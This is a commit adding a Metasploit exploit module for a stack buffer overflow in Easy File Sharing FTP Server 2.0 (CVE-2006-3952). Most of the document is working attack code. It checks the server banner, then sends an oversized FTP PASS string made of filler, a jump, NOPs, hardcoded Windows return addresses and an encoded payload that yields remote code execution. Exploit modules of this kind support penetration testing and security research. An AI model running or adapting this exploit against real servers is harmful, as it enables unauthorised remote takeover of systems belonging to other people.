added exploit module easyfilesharing_pass.rb

git-svn-id: file:///home/svn/framework3/trunk@4579 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/ftp/easyfilesharing_pass.rb

@@ -0,0 +1,87 @@
+##
+# $Id: easyfileshare_user.rb 4498 2007-03-01 08:21:36Z mmiller $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Ftp::Easyfileshare_pass < Msf::Exploit::Remote
+
+	include Exploit::Remote::Ftp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'Easy File Sharing FTP Server 2.0 PASS Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in the Easy File Sharing 2.0
+				service. By sending an overly long password, an attacker can execute
+				arbitrary code.
+			},
+			'Author'         => 'MC',
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 4498 $',
+			'References'     =>
+				[
+					[ 'BID', '19243' ],
+					[ 'CVE', '2006-3952' ],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 600,
+					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+					[
+						[ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
+						[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
+					],
+			'DisclosureDate' => 'Jul 31 2006',
+			'DefaultTarget'  => 0))
+	end
+
+   def check
+      connect
+      disconnect
+
+      if (banner =~ /Easy File Sharing FTP Server/)
+         return Exploit::CheckCode::Vulnerable
+      end
+      return Exploit::CheckCode::Safe
+   end
+	
+	def exploit
+		connect
+
+		filler =  rand_text_english(2559) + "\xeb\x12" 
+		filler << make_nops(2) + [target.ret].pack('V')
+ 
+		sploit = "\x2c" + filler + payload.encoded  
+
+		print_status("Trying target #{target.name}...")
+
+		# needs anonymous to be set.
+		send_cmd(['USER', "anonymous"], true)
+		send_cmd(['PASS', sploit], false)
+		
+		handler
+		disconnect
+	end
+
+end
+end